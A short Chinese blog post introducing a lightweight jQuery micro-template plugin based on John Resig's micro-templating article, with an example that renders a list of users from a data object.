这个 jQuery 微模板库可以在plugins.jquery.com/project/micro_template找到。它基于 jQuery 作者 John Resig 的 JavaScript 微模板文章ejohn.org/blog/javascript-micro-templating/,讲述了如何开发一个轻量级脚本。该插件改进了模板选择,变量可以是带有模板标记的纯 HTML;数据被推送到模板中。由于其代码大小较小,这是一个适合移动平台的理想模板库。以下是一些示例用法:

<ol id="tpl-users">

      <: for(var i=0; i < users.length; ++i)
{:>
<li><:=users[i].name:>, Age: <:=users[i].age:></li>
<:}
:>
</ol>
<script type="text/javascript">
var users_data={
"users":[
{"name":"Alice", "age":1},
{"name":"Bob", "age":3},
{"name":"Charles", "age":1}

]
};
$('#tpl-users').drink(users_data);
</script>

posted @ 2024-05-05 00:12  绝不原创的飞龙  阅读(7)  评论(0编辑  收藏  举报